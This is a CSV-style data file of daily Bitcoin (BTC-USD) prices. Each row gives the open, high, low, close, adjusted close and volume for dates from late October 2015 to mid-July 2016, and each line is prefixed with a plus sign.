+2015-10-26,287.8599853515625,287.6199951171875,279.6199951171875,285.1499938964844,285.1499938964844,20794049,BTC-USD +2015-10-27,285.1499938964844,298.42999267578125,285.0899963378906,294.6600036621094,294.6600036621094,31003938,BTC-USD +2015-10-28,294.6600036621094,307.4599914550781,294.0199890136719,303.5400085449219,303.5400085449219,35117112,BTC-USD +2015-10-29,303.5400085449219,318.4800109863281,300.1600036621094,313.6300048828125,313.6300048828125,43194878,BTC-USD +2015-10-30,313.6300048828125,334.9200134277344,310.82000732421875,327.1199951171875,327.1199951171875,50796456,BTC-USD +2015-10-31,327.1199951171875,333.25,304.6000061035156,311.239990234375,311.239990234375,33762428,BTC-USD +2015-11-01,311.239990234375,324.3399963378906,304.7200012207031,322.95001220703125,322.95001220703125,23427549,BTC-USD +2015-11-02,322.95001220703125,365.75,319.75,359.2799987792969,359.2799987792969,76864059,BTC-USD +2015-11-03,359.2799987792969,416.7799987792969,354.5799865722656,396.489990234375,396.489990234375,163481625,BTC-USD +2015-11-04,396.489990234375,492.79998779296875,368.6199951171875,400.8900146484375,400.8900146484375,229673024,BTC-USD +2015-11-05,400.8900146484375,447.239990234375,366.0799865722656,382.70001220703125,382.70001220703125,121763708,BTC-USD +2015-11-06,382.70001220703125,396.3500061035156,348.8399963378906,369.80999755859375,369.80999755859375,94921694,BTC-USD +2015-11-07,369.80999755859375,391.75,368.9800109863281,385.0899963378906,385.0899963378906,39495095,BTC-USD +2015-11-08,385.0899963378906,389.7799987792969,365.489990234375,371.55999755859375,371.55999755859375,35907981,BTC-USD +2015-11-09,371.55999755859375,385.1099853515625,360.1700134277344,380.2200012207031,380.2200012207031,47074440,BTC-USD +2015-11-10,380.2200012207031,381.3800048828125,323.2099914550781,336.69000244140625,336.69000244140625,74896052,BTC-USD +2015-11-11,336.69000244140625,341.760009765625,292.3800048828125,304.7099914550781,304.7099914550781,83078426,BTC-USD +2015-11-12,304.7099914550781,346.1300048828125,306.07000732421875,333.8500061035156,333.8500061035156,54120828,BTC-USD +2015-11-13,333.8500061035156,341.7900085449219,323.9100036621094,333.7699890136719,333.7699890136719,32480298,BTC-USD +2015-11-14,333.7699890136719,369.79998779296875,326.3500061035156,331.7699890136719,331.7699890136719,23836097,BTC-USD +2015-11-15,331.7699890136719,334.7799987792969,314.1600036621094,317.45001220703125,317.45001220703125,28640663,BTC-USD +2015-11-16,317.45001220703125,332.010009765625,314.05999755859375,330.2099914550781,330.2099914550781,28260517,BTC-USD +2015-11-17,330.2099914550781,342.9100036621094,328.1499938964844,333.9100036621094,333.9100036621094,32944787,BTC-USD +2015-11-18,333.9100036621094,337.3900146484375,329.4200134277344,335.9200134277344,335.9200134277344,26194853,BTC-USD +2015-11-19,335.9200134277344,335.6400146484375,323.3599853515625,324.9800109863281,324.9800109863281,28543062,BTC-USD +2015-11-20,324.9800109863281,327.05999755859375,309.4800109863281,321.1199951171875,321.1199951171875,35090324,BTC-USD +2015-11-21,321.1199951171875,328.4200134277344,318.3699951171875,324.70001220703125,324.70001220703125,14652996,BTC-USD +2015-11-22,324.70001220703125,326.94000244140625,319.3500061035156,322.7799987792969,322.7799987792969,11915632,BTC-USD +2015-11-23,322.7799987792969,325.0,319.8900146484375,322.1199951171875,322.1199951171875,13839023,BTC-USD +2015-11-24,322.1199951171875,323.260009765625,315.5400085449219,318.3500061035156,318.3500061035156,16282941,BTC-USD +2015-11-25,318.3500061035156,330.0400085449219,315.69000244140625,327.5199890136719,327.5199890136719,25200934,BTC-USD +2015-11-26,327.5199890136719,368.9200134277344,327.3999938964844,353.739990234375,353.739990234375,73395832,BTC-USD +2015-11-27,353.739990234375,363.8999938964844,345.1499938964844,359.5199890136719,359.5199890136719,36955394,BTC-USD +2015-11-28,359.5199890136719,360.0799865722656,350.489990234375,355.8299865722656,355.8299865722656,19988111,BTC-USD +2015-11-29,355.8299865722656,372.8399963378906,354.54998779296875,370.8399963378906,370.8399963378906,24546100,BTC-USD +2015-11-30,370.8399963378906,382.55999755859375,367.8699951171875,377.9700012207031,377.9700012207031,48913368,BTC-USD +2015-12-01,377.9700012207031,379.0199890136719,353.6600036621094,361.79998779296875,361.79998779296875,40821470,BTC-USD +2015-12-02,361.79998779296875,363.42999267578125,347.1600036621094,359.9800109863281,359.9800109863281,32881089,BTC-USD +2015-12-03,359.9800109863281,371.3699951171875,355.4700012207031,360.30999755859375,360.30999755859375,31673283,BTC-USD +2015-12-04,360.30999755859375,363.95001220703125,354.30999755859375,361.6700134277344,361.6700134277344,21820610,BTC-USD +2015-12-05,361.6700134277344,390.2799987792969,361.5,386.69000244140625,386.69000244140625,43438102,BTC-USD +2015-12-06,386.69000244140625,402.19000244140625,382.6199951171875,393.3800048828125,393.3800048828125,52068577,BTC-USD +2015-12-07,393.3800048828125,398.739990234375,381.69000244140625,394.2799987792969,394.2799987792969,38102878,BTC-USD +2015-12-08,394.2799987792969,411.07000732421875,388.0299987792969,410.6700134277344,410.6700134277344,29543120,BTC-USD +2015-12-09,410.6700134277344,424.5799865722656,403.260009765625,416.0,416.0,61289838,BTC-USD +2015-12-10,416.0,420.3599853515625,409.5299987792969,415.489990234375,415.489990234375,29794270,BTC-USD +2015-12-11,415.489990234375,453.3699951171875,413.7200012207031,449.8299865722656,449.8299865722656,76433917,BTC-USD +2015-12-12,449.8299865722656,467.7099914550781,403.69000244140625,432.2900085449219,432.2900085449219,91838640,BTC-USD +2015-12-13,432.2900085449219,440.9700012207031,420.760009765625,434.69000244140625,434.69000244140625,27898250,BTC-USD +2015-12-14,434.69000244140625,449.45001220703125,428.8399963378906,442.0,442.0,97068568,BTC-USD +2015-12-15,442.0,464.2300109863281,440.7200012207031,462.6499938964844,462.6499938964844,48912227,BTC-USD +2015-12-16,462.6499938964844,465.1600036621094,437.3699951171875,453.9800109863281,453.9800109863281,84336145,BTC-USD +2015-12-17,453.9800109863281,458.44000244140625,447.2900085449219,455.5299987792969,455.5299987792969,29344348,BTC-USD +2015-12-18,455.5299987792969,466.1199951171875,453.4599914550781,463.17999267578125,463.17999267578125,38425211,BTC-USD +2015-12-19,463.17999267578125,465.989990234375,452.3299865722656,461.20001220703125,461.20001220703125,28327900,BTC-USD +2015-12-20,461.20001220703125,462.760009765625,431.1000061035156,441.7799987792969,441.7799987792969,54316484,BTC-USD +2015-12-21,441.7799987792969,445.5400085449219,423.989990234375,437.5899963378906,437.5899963378906,53270215,BTC-USD +2015-12-22,437.5899963378906,443.2200012207031,433.25,437.0299987792969,437.0299987792969,28845536,BTC-USD +2015-12-23,437.0299987792969,444.7799987792969,434.2799987792969,442.42999267578125,442.42999267578125,27877349,BTC-USD +2015-12-24,442.42999267578125,460.6199951171875,441.760009765625,452.9800109863281,452.9800109863281,36096662,BTC-USD +2015-12-25,452.9800109863281,457.44000244140625,449.5199890136719,454.04998779296875,454.04998779296875,19251958,BTC-USD +2015-12-26,454.04998779296875,456.4800109863281,400.45001220703125,415.3699951171875,415.3699951171875,88564770,BTC-USD +2015-12-27,415.3699951171875,425.510009765625,406.0899963378906,422.3900146484375,422.3900146484375,28259303,BTC-USD +2015-12-28,422.3900146484375,429.8500061035156,417.1400146484375,421.760009765625,421.760009765625,28978639,BTC-USD +2015-12-29,421.760009765625,433.55999755859375,419.29998779296875,431.9200134277344,431.9200134277344,30163445,BTC-USD +2015-12-30,431.9200134277344,435.0400085449219,420.7699890136719,427.1499938964844,427.1499938964844,29289416,BTC-USD +2015-12-31,427.1499938964844,433.1199951171875,417.1400146484375,429.95001220703125,429.95001220703125,27758278,BTC-USD +2016-01-01,429.95001220703125,437.95001220703125,425.8599853515625,433.989990234375,433.989990234375,20334286,BTC-USD +2016-01-02,433.989990234375,437.42999267578125,430.7300109863281,433.7200012207031,433.7200012207031,14566820,BTC-USD +2016-01-03,433.7200012207031,434.1400146484375,423.0899963378906,430.70001220703125,430.70001220703125,23490162,BTC-USD +2016-01-04,430.70001220703125,435.260009765625,428.6000061035156,433.32000732421875,433.32000732421875,22943968,BTC-USD +2016-01-05,433.32000732421875,435.25,428.8699951171875,431.20001220703125,431.20001220703125,19499588,BTC-USD +2016-01-06,431.20001220703125,432.1099853515625,425.0,430.82000732421875,430.82000732421875,18702334,BTC-USD +2016-01-07,430.82000732421875,457.5400085449219,428.5199890136719,457.04998779296875,457.04998779296875,58253615,BTC-USD +2016-01-08,457.04998779296875,462.9200134277344,446.510009765625,452.8699951171875,452.8699951171875,41594025,BTC-USD +2016-01-09,452.8699951171875,454.54998779296875,444.8999938964844,448.30999755859375,448.30999755859375,17967113,BTC-USD +2016-01-10,448.30999755859375,448.8800048828125,438.6199951171875,446.19000244140625,446.19000244140625,19778456,BTC-USD +2016-01-11,446.19000244140625,451.0799865722656,441.7699890136719,447.7200012207031,447.7200012207031,25358480,BTC-USD +2016-01-12,447.7200012207031,448.4100036621094,443.1400146484375,445.0400085449219,445.0400085449219,19913400,BTC-USD +2016-01-13,445.0400085449219,443.7200012207031,420.3900146484375,432.17999267578125,432.17999267578125,39525195,BTC-USD +2016-01-14,432.17999267578125,433.739990234375,427.010009765625,429.1300048828125,429.1300048828125,19948730,BTC-USD +2016-01-15,429.1300048828125,430.1499938964844,364.7099914550781,372.260009765625,372.260009765625,107060613,BTC-USD +2016-01-16,372.260009765625,386.7200012207031,350.3900146484375,385.0400085449219,385.0400085449219,68297105,BTC-USD +2016-01-17,385.0400085449219,390.7200012207031,377.7099914550781,382.4700012207031,382.4700012207031,25464382,BTC-USD +2016-01-18,382.4700012207031,387.2900085449219,373.2099914550781,384.3999938964844,384.3999938964844,26546465,BTC-USD +2016-01-19,384.3999938964844,386.69000244140625,375.8900146484375,379.4599914550781,379.4599914550781,25417876,BTC-USD +2016-01-20,379.4599914550781,425.7200012207031,374.04998779296875,414.5799865722656,414.5799865722656,76873917,BTC-USD +2016-01-21,414.5799865722656,423.4200134277344,403.8599853515625,410.239990234375,410.239990234375,37264942,BTC-USD +2016-01-22,410.239990234375,411.489990234375,374.8999938964844,382.6499938964844,382.6499938964844,56548790,BTC-USD +2016-01-23,382.6499938964844,395.42999267578125,380.2699890136719,388.6099853515625,388.6099853515625,23908533,BTC-USD +2016-01-24,388.6099853515625,405.3999938964844,385.5299987792969,402.1300048828125,402.1300048828125,25770175,BTC-USD +2016-01-25,402.1300048828125,403.7799987792969,386.8500061035156,392.760009765625,392.760009765625,26793044,BTC-USD +2016-01-26,392.760009765625,397.739990234375,387.8999938964844,389.7799987792969,389.7799987792969,22384754,BTC-USD +2016-01-27,389.7799987792969,397.3699951171875,389.3500061035156,395.0199890136719,395.0199890136719,17297117,BTC-USD +2016-01-28,395.0199890136719,395.4200134277344,376.7099914550781,379.69000244140625,379.69000244140625,29717813,BTC-USD +2016-01-29,379.69000244140625,385.75,363.489990234375,380.2900085449219,380.2900085449219,51927041,BTC-USD +2016-01-30,380.2900085449219,381.75,375.0400085449219,377.760009765625,377.760009765625,13720656,BTC-USD +2016-01-31,377.760009765625,380.5400085449219,366.8800048828125,369.8399963378906,369.8399963378906,14718855,BTC-USD +2016-02-01,369.8399963378906,379.7799987792969,365.2699890136719,372.17999267578125,372.17999267578125,27728088,BTC-USD +2016-02-02,372.17999267578125,376.6300048828125,371.3999938964844,373.9200134277344,373.9200134277344,19123252,BTC-USD +2016-02-03,373.9200134277344,375.8900146484375,366.20001220703125,368.0199890136719,368.0199890136719,22266682,BTC-USD +2016-02-04,368.0199890136719,391.8299865722656,368.04998779296875,390.6499938964844,390.6499938964844,38961905,BTC-USD +2016-02-05,390.6499938964844,391.1499938964844,384.4800109863281,386.4599914550781,386.4599914550781,23688228,BTC-USD +2016-02-06,386.4599914550781,386.3500061035156,372.8699951171875,376.67999267578125,376.67999267578125,29801286,BTC-USD +2016-02-07,376.67999267578125,382.6099853515625,375.2799987792969,377.94000244140625,377.94000244140625,15395728,BTC-USD +2016-02-08,377.94000244140625,380.9200134277344,372.1000061035156,372.6300048828125,372.6300048828125,23424062,BTC-USD +2016-02-09,372.6300048828125,377.5899963378906,371.4200134277344,375.32000732421875,375.32000732421875,20801701,BTC-USD +2016-02-10,375.32000732421875,385.3800048828125,374.0899963378906,381.8800048828125,381.8800048828125,37137791,BTC-USD +2016-02-11,381.8800048828125,383.2300109863281,372.75,379.45001220703125,379.45001220703125,23858467,BTC-USD +2016-02-12,379.45001220703125,386.3999938964844,379.32000732421875,384.0400085449219,384.0400085449219,20685663,BTC-USD +2016-02-13,384.0400085449219,392.57000732421875,383.30999755859375,390.1000061035156,390.1000061035156,18757146,BTC-USD +2016-02-14,390.1000061035156,405.92999267578125,390.05999755859375,405.5,405.5,29442484,BTC-USD +2016-02-15,405.5,410.8500061035156,396.55999755859375,401.07000732421875,401.07000732421875,34862753,BTC-USD +2016-02-16,401.07000732421875,409.75,398.0,406.4200134277344,406.4200134277344,27726590,BTC-USD +2016-02-17,406.4200134277344,421.45001220703125,405.04998779296875,417.1400146484375,417.1400146484375,37559686,BTC-USD +2016-02-18,417.1400146484375,425.510009765625,414.7799987792969,421.3999938964844,421.3999938964844,32541108,BTC-USD +2016-02-19,421.3999938964844,424.260009765625,416.3599853515625,419.9800109863281,419.9800109863281,21991480,BTC-USD +2016-02-20,419.9800109863281,442.6600036621094,419.489990234375,440.05999755859375,440.05999755859375,48500793,BTC-USD +2016-02-21,440.05999755859375,447.6099853515625,425.4700012207031,437.8699951171875,437.8699951171875,44120520,BTC-USD +2016-02-22,437.8699951171875,440.17999267578125,431.29998779296875,437.7900085449219,437.7900085449219,24563748,BTC-USD +2016-02-23,437.7900085449219,440.760009765625,414.3599853515625,419.8999938964844,419.8999938964844,39915706,BTC-USD +2016-02-24,419.8999938964844,425.1700134277344,410.3599853515625,422.7200012207031,422.7200012207031,28041199,BTC-USD +2016-02-25,422.7200012207031,427.17999267578125,417.510009765625,423.4800109863281,423.4800109863281,22692099,BTC-USD +2016-02-26,423.4800109863281,427.5799865722656,419.1099853515625,427.32000732421875,427.32000732421875,22642013,BTC-USD +2016-02-27,427.32000732421875,434.1400146484375,427.29998779296875,431.29998779296875,431.29998779296875,18543436,BTC-USD +2016-02-28,431.29998779296875,435.6199951171875,421.2200012207031,432.4700012207031,432.4700012207031,21876091,BTC-USD +2016-02-29,432.4700012207031,441.32000732421875,429.8299865722656,436.2099914550781,436.2099914550781,30077319,BTC-USD +2016-03-01,436.2099914550781,439.0199890136719,428.489990234375,434.0400085449219,434.0400085449219,29312670,BTC-USD +2016-03-02,434.0400085449219,435.9100036621094,423.8500061035156,425.3599853515625,425.3599853515625,24894311,BTC-USD +2016-03-03,425.3599853515625,425.8299865722656,414.94000244140625,419.55999755859375,419.55999755859375,33188751,BTC-USD +2016-03-04,419.55999755859375,423.3900146484375,407.20001220703125,409.4800109863281,409.4800109863281,31416610,BTC-USD +2016-03-05,409.4800109863281,410.05999755859375,386.92999267578125,399.0,399.0,51725937,BTC-USD +2016-03-06,399.0,412.0199890136719,393.0899963378906,405.9599914550781,405.9599914550781,25324456,BTC-USD +2016-03-07,405.9599914550781,416.5799865722656,401.9800109863281,414.8699951171875,414.8699951171875,25349627,BTC-USD +2016-03-08,414.8699951171875,416.7200012207031,408.4200134277344,411.8999938964844,411.8999938964844,22204517,BTC-USD +2016-03-09,411.8999938964844,414.8800048828125,408.94000244140625,412.760009765625,412.760009765625,21035428,BTC-USD +2016-03-10,412.760009765625,417.4800109863281,410.2699890136719,415.8299865722656,415.8299865722656,23114636,BTC-USD +2016-03-11,415.8299865722656,422.3999938964844,415.1099853515625,419.1099853515625,419.1099853515625,25469781,BTC-USD +2016-03-12,419.1099853515625,420.6700134277344,407.0299987792969,410.3599853515625,410.3599853515625,24660321,BTC-USD +2016-03-13,410.3599853515625,415.92999267578125,409.57000732421875,412.4100036621094,412.4100036621094,14457108,BTC-USD +2016-03-14,412.4100036621094,416.0799865722656,411.19000244140625,414.30999755859375,414.30999755859375,20471909,BTC-USD +2016-03-15,414.30999755859375,417.3699951171875,412.30999755859375,415.1300048828125,415.1300048828125,20227610,BTC-USD +2016-03-16,415.1300048828125,416.95001220703125,413.32000732421875,415.9100036621094,415.9100036621094,18509954,BTC-USD +2016-03-17,415.9100036621094,419.55999755859375,415.3299865722656,418.1600036621094,418.1600036621094,18409340,BTC-USD +2016-03-18,418.1600036621094,418.5799865722656,402.4800109863281,408.1600036621094,408.1600036621094,27178165,BTC-USD +2016-03-19,408.1600036621094,410.489990234375,402.1300048828125,408.69000244140625,408.69000244140625,15084656,BTC-USD +2016-03-20,408.69000244140625,413.45001220703125,407.239990234375,411.5299987792969,411.5299987792969,12577521,BTC-USD +2016-03-21,411.5299987792969,413.0899963378906,407.25,411.1099853515625,411.1099853515625,17735457,BTC-USD +2016-03-22,411.1099853515625,417.94000244140625,410.7799987792969,416.2099914550781,416.2099914550781,20425092,BTC-USD +2016-03-23,416.2099914550781,419.5799865722656,414.17999267578125,416.9800109863281,416.9800109863281,16946522,BTC-USD +2016-03-24,416.9800109863281,417.67999267578125,412.8800048828125,414.739990234375,414.739990234375,16210672,BTC-USD +2016-03-25,414.739990234375,417.29998779296875,412.4100036621094,415.7099914550781,415.7099914550781,14431200,BTC-USD +2016-03-26,415.7099914550781,417.7099914550781,413.92999267578125,416.510009765625,416.510009765625,11696306,BTC-USD +2016-03-27,416.510009765625,427.3599853515625,415.5,424.57000732421875,424.57000732421875,26137150,BTC-USD +2016-03-28,424.57000732421875,425.3599853515625,419.70001220703125,422.2099914550781,422.2099914550781,18410749,BTC-USD +2016-03-29,422.2099914550781,424.5299987792969,406.3599853515625,415.0,415.0,28765857,BTC-USD +2016-03-30,415.0,416.2200012207031,408.3999938964844,412.44000244140625,412.44000244140625,17890792,BTC-USD +2016-03-31,412.44000244140625,417.1600036621094,411.45001220703125,415.6600036621094,415.6600036621094,17407273,BTC-USD +2016-04-01,415.6600036621094,416.8599853515625,412.7900085449219,415.6400146484375,415.6400146484375,15852511,BTC-USD +2016-04-02,415.6400146484375,420.0899963378906,415.0899963378906,418.510009765625,418.510009765625,13137339,BTC-USD +2016-04-03,418.510009765625,420.17999267578125,416.95001220703125,419.05999755859375,419.05999755859375,9591214,BTC-USD +2016-04-04,419.05999755859375,420.3900146484375,416.2099914550781,419.3299865722656,419.3299865722656,14031939,BTC-USD +2016-04-05,419.3299865722656,423.6700134277344,417.95001220703125,422.07000732421875,422.07000732421875,17260368,BTC-USD +2016-04-06,422.07000732421875,422.80999755859375,419.5400085449219,421.260009765625,421.260009765625,13836754,BTC-USD +2016-04-07,421.260009765625,422.0299987792969,417.94000244140625,420.1400146484375,420.1400146484375,15200495,BTC-USD +2016-04-08,420.1400146484375,423.510009765625,415.5,417.69000244140625,417.69000244140625,19810838,BTC-USD +2016-04-09,417.69000244140625,418.8500061035156,412.3900146484375,418.04998779296875,418.04998779296875,12291880,BTC-USD +2016-04-10,418.04998779296875,421.6300048828125,416.69000244140625,420.25,420.25,9806327,BTC-USD +2016-04-11,420.25,422.3500061035156,418.1099853515625,421.42999267578125,421.42999267578125,15374195,BTC-USD +2016-04-12,421.42999267578125,426.69000244140625,420.70001220703125,424.739990234375,424.739990234375,24580503,BTC-USD +2016-04-13,424.739990234375,426.5799865722656,421.4100036621094,423.4700012207031,423.4700012207031,16183793,BTC-USD +2016-04-14,423.4700012207031,425.44000244140625,421.8399963378906,424.0199890136719,424.0199890136719,13038970,BTC-USD +2016-04-15,424.0199890136719,429.489990234375,423.25,428.6700134277344,428.6700134277344,23214560,BTC-USD +2016-04-16,428.6700134277344,432.0,426.8399963378906,430.04998779296875,430.04998779296875,12517265,BTC-USD +2016-04-17,430.04998779296875,430.6199951171875,423.7900085449219,426.260009765625,426.260009765625,10980868,BTC-USD +2016-04-18,426.260009765625,429.07000732421875,424.3500061035156,427.69000244140625,427.69000244140625,13951524,BTC-USD +2016-04-19,427.69000244140625,436.07000732421875,426.8399963378906,434.9200134277344,434.9200134277344,19713466,BTC-USD +2016-04-20,434.9200134277344,442.8599853515625,432.510009765625,441.1600036621094,441.1600036621094,32655415,BTC-USD +2016-04-21,441.1600036621094,450.79998779296875,439.5299987792969,449.3399963378906,449.3399963378906,28168774,BTC-USD +2016-04-22,449.3399963378906,450.19000244140625,441.8999938964844,445.2799987792969,445.2799987792969,22225157,BTC-USD +2016-04-23,445.2799987792969,451.4800109863281,443.07000732421875,450.0799865722656,450.0799865722656,18998211,BTC-USD +2016-04-24,450.0799865722656,461.7799987792969,447.8900146484375,457.55999755859375,457.55999755859375,33984269,BTC-USD +2016-04-25,457.55999755859375,466.2300109863281,451.7900085449219,461.7300109863281,461.7300109863281,37614684,BTC-USD +2016-04-26,461.7300109863281,468.8599853515625,459.2300109863281,466.0,466.0,31451239,BTC-USD +2016-04-27,466.0,467.8699951171875,444.6199951171875,447.010009765625,447.010009765625,41539684,BTC-USD +2016-04-28,447.010009765625,450.1000061035156,433.8999938964844,448.4800109863281,448.4800109863281,36369788,BTC-USD +2016-04-29,448.4800109863281,456.30999755859375,445.2200012207031,454.9800109863281,454.9800109863281,20264761,BTC-USD +2016-04-30,454.9800109863281,456.8599853515625,446.6499938964844,448.5299987792969,448.5299987792969,15994805,BTC-USD +2016-05-01,448.5299987792969,454.2099914550781,447.5199890136719,452.239990234375,452.239990234375,9838490,BTC-USD +2016-05-02,452.239990234375,453.8699951171875,440.2099914550781,444.17999267578125,444.17999267578125,32863011,BTC-USD +2016-05-03,444.17999267578125,451.5400085449219,441.54998779296875,450.2699890136719,450.2699890136719,22292253,BTC-USD +2016-05-04,450.2699890136719,450.8699951171875,444.2200012207031,445.79998779296875,445.79998779296875,17676609,BTC-USD +2016-05-05,445.79998779296875,449.19000244140625,444.3500061035156,448.0799865722656,448.0799865722656,18765369,BTC-USD +2016-05-06,448.0799865722656,461.4800109863281,445.7200012207031,459.55999755859375,459.55999755859375,31122708,BTC-USD +2016-05-07,459.55999755859375,460.6099853515625,454.6000061035156,458.4599914550781,458.4599914550781,14247601,BTC-USD +2016-05-08,458.4599914550781,460.17999267578125,454.94000244140625,457.8699951171875,457.8699951171875,12689581,BTC-USD +2016-05-09,457.8699951171875,464.17999267578125,455.3800048828125,460.44000244140625,460.44000244140625,22322043,BTC-USD +2016-05-10,460.44000244140625,462.1400146484375,446.80999755859375,449.3599853515625,449.3599853515625,27247925,BTC-USD +2016-05-11,449.3599853515625,456.1499938964844,449.5899963378906,452.5,452.5,18137209,BTC-USD +2016-05-12,452.5,455.3399963378906,448.3999938964844,454.42999267578125,454.42999267578125,22252919,BTC-USD +2016-05-13,454.42999267578125,457.2200012207031,451.489990234375,455.4100036621094,455.4100036621094,14768796,BTC-USD +2016-05-14,455.4100036621094,457.739990234375,453.5799865722656,456.44000244140625,456.44000244140625,9319128,BTC-USD +2016-05-15,456.44000244140625,460.2799987792969,455.0,458.1099853515625,458.1099853515625,9745309,BTC-USD +2016-05-16,458.1099853515625,459.57000732421875,450.7300109863281,454.8699951171875,454.8699951171875,16731954,BTC-USD +2016-05-17,454.8699951171875,456.29998779296875,451.7099914550781,453.25,453.25,15741822,BTC-USD +2016-05-18,453.25,456.6499938964844,452.3500061035156,454.2200012207031,454.2200012207031,14884550,BTC-USD +2016-05-19,454.2200012207031,455.19000244140625,441.1199951171875,442.6600036621094,442.6600036621094,26626097,BTC-USD +2016-05-20,442.6600036621094,447.760009765625,435.4200134277344,442.1099853515625,442.1099853515625,21415312,BTC-USD +2016-05-21,442.1099853515625,445.239990234375,439.7300109863281,443.6400146484375,443.6400146484375,10213550,BTC-USD +2016-05-22,443.6400146484375,444.239990234375,436.94000244140625,439.6199951171875,439.6199951171875,12691382,BTC-USD +2016-05-23,439.6199951171875,444.989990234375,438.239990234375,443.69000244140625,443.69000244140625,15885933,BTC-USD +2016-05-24,443.69000244140625,447.8999938964844,442.0199890136719,446.1099853515625,446.1099853515625,14837671,BTC-USD +2016-05-25,446.1099853515625,451.2099914550781,445.3500061035156,449.7799987792969,449.7799987792969,16954105,BTC-USD +2016-05-26,449.7799987792969,454.25,447.6700134277344,453.29998779296875,453.29998779296875,17093327,BTC-USD +2016-05-27,453.29998779296875,479.2200012207031,452.7099914550781,474.04998779296875,474.04998779296875,63894987,BTC-USD +2016-05-28,474.04998779296875,531.760009765625,467.04998779296875,524.219970703125,524.219970703125,75400711,BTC-USD +2016-05-29,524.219970703125,548.0399780273438,493.2200012207031,516.0499877929688,516.0499877929688,80753301,BTC-USD +2016-05-30,516.0499877929688,544.1799926757812,512.8099975585938,532.260009765625,532.260009765625,41433165,BTC-USD +2016-05-31,532.260009765625,546.9199829101562,513.1500244140625,528.9199829101562,528.9199829101562,60896411,BTC-USD +2016-06-01,528.9199829101562,542.260009765625,521.2999877929688,537.4000244140625,537.4000244140625,38742660,BTC-USD +2016-06-02,537.4000244140625,541.5499877929688,530.469970703125,537.0999755859375,537.0999755859375,28380698,BTC-USD +2016-06-03,537.0999755859375,573.719970703125,534.3400268554688,567.030029296875,567.030029296875,59464310,BTC-USD +2016-06-04,567.030029296875,592.6799926757812,560.8699951171875,571.9500122070312,571.9500122070312,50353517,BTC-USD +2016-06-05,571.9500122070312,583.6400146484375,567.77001953125,574.9099731445312,574.9099731445312,37233994,BTC-USD +2016-06-06,574.9099731445312,586.72998046875,571.6699829101562,583.5800170898438,583.5800170898438,37131086,BTC-USD +2016-06-07,583.5800170898438,591.3200073242188,543.6300048828125,575.5800170898438,575.5800170898438,49082472,BTC-USD +2016-06-08,575.5800170898438,582.4400024414062,567.780029296875,580.510009765625,580.510009765625,28706216,BTC-USD +2016-06-09,580.510009765625,580.7100219726562,569.260009765625,574.6900024414062,574.6900024414062,28010575,BTC-USD +2016-06-10,574.6900024414062,579.260009765625,571.1400146484375,577.8900146484375,577.8900146484375,26290866,BTC-USD +2016-06-11,577.8900146484375,592.6099853515625,576.2899780273438,591.5999755859375,591.5999755859375,24790441,BTC-USD +2016-06-12,591.5999755859375,683.8499755859375,592.7899780273438,666.5499877929688,666.5499877929688,139684630,BTC-USD +2016-06-13,666.5499877929688,718.239990234375,652.780029296875,700.0700073242188,700.0700073242188,149442548,BTC-USD +2016-06-14,700.0700073242188,702.52001953125,654.6900024414062,685.1400146484375,685.1400146484375,92458349,BTC-USD +2016-06-15,685.1400146484375,695.0700073242188,670.4500122070312,690.77001953125,690.77001953125,53863568,BTC-USD +2016-06-16,690.77001953125,769.72998046875,687.4299926757812,761.2100219726562,761.2100219726562,169704647,BTC-USD +2016-06-17,761.2100219726562,771.8900146484375,704.2100219726562,743.9000244140625,743.9000244140625,160302360,BTC-USD +2016-06-18,743.9000244140625,776.0399780273438,727.1300048828125,753.77001953125,753.77001953125,91056993,BTC-USD +2016-06-19,753.77001953125,765.0999755859375,740.3800048828125,761.0399780273438,761.0399780273438,45805980,BTC-USD +2016-06-20,761.0399780273438,764.5999755859375,717.4099731445312,733.969970703125,733.969970703125,83637617,BTC-USD +2016-06-21,733.969970703125,732.22998046875,626.0499877929688,667.3800048828125,667.3800048828125,166828425,BTC-USD +2016-06-22,667.3800048828125,677.7999877929688,586.5999755859375,590.5599975585938,590.5599975585938,129550795,BTC-USD +2016-06-23,590.5599975585938,629.5499877929688,539.280029296875,620.8400268554688,620.8400268554688,154289129,BTC-USD +2016-06-24,620.8400268554688,687.3900146484375,616.4099731445312,656.8900146484375,656.8900146484375,128990817,BTC-USD +2016-06-25,656.8900146484375,688.0999755859375,640.7899780273438,663.52001953125,663.52001953125,67442141,BTC-USD +2016-06-26,663.52001953125,665.1900024414062,609.9000244140625,625.4099731445312,625.4099731445312,56403088,BTC-USD +2016-06-27,625.4099731445312,650.3400268554688,615.219970703125,644.6599731445312,644.6599731445312,63747137,BTC-USD +2016-06-28,644.6599731445312,659.27001953125,634.260009765625,644.8900146484375,644.8900146484375,49673830,BTC-USD +2016-06-29,644.8900146484375,645.9099731445312,621.760009765625,636.5399780273438,636.5399780273438,50898093,BTC-USD +2016-06-30,636.5399780273438,673.0399780273438,631.239990234375,670.02001953125,670.02001953125,58215062,BTC-USD +2016-07-01,670.02001953125,685.1099853515625,661.0900268554688,674.5700073242188,674.5700073242188,62394480,BTC-USD +2016-07-02,674.5700073242188,700.4600219726562,671.4600219726562,698.0599975585938,698.0599975585938,46555796,BTC-USD +2016-07-03,698.0599975585938,701.489990234375,644.6099853515625,661.6400146484375,661.6400146484375,66591456,BTC-USD +2016-07-04,661.6400146484375,679.030029296875,644.0399780273438,675.1599731445312,675.1599731445312,42756935,BTC-USD +2016-07-05,675.1599731445312,679.1900024414062,657.3099975585938,663.6699829101562,663.6699829101562,36687264,BTC-USD +2016-07-06,663.6699829101562,678.3900146484375,662.239990234375,672.7000122070312,672.7000122070312,31708100,BTC-USD +2016-07-07,672.7000122070312,676.1900024414062,604.9500122070312,635.25,635.25,97639342,BTC-USD +2016-07-08,635.25,663.4299926757812,630.1699829101562,662.780029296875,662.780029296875,49243011,BTC-USD +2016-07-09,662.780029296875,663.489990234375,620.6799926757812,651.8300170898438,651.8300170898438,62061207,BTC-USD +2016-07-10,651.8300170898438,651.97998046875,636.7999877929688,647.1099853515625,647.1099853515625,18955766,BTC-USD +2016-07-11,647.1099853515625,657.469970703125,639.969970703125,646.7100219726562,646.7100219726562,29925667,BTC-USD +2016-07-12,646.7100219726562,673.1900024414062,644.5599975585938,670.5599975585938,670.5599975585938,44047499,BTC-USD +2016-07-13,670.5599975585938,672.02001953125,656.0399780273438,661.1500244140625,661.1500244140625,41791464,BTC-USD +2016-07-14,661.1500244140625,661.8800048828125,646.3099975585938,657.25,657.25,31748496,BTC-USD +2016-07-15,657.25,667.4600219726562,656.5,664.2000122070312,664.2000122070312,23817856,BTC-USD +2016-07-16,664.2000122070312,665.4099731445312,655.719970703125,660.6900024414062,660.6900024414062,13557557,BTC-USD 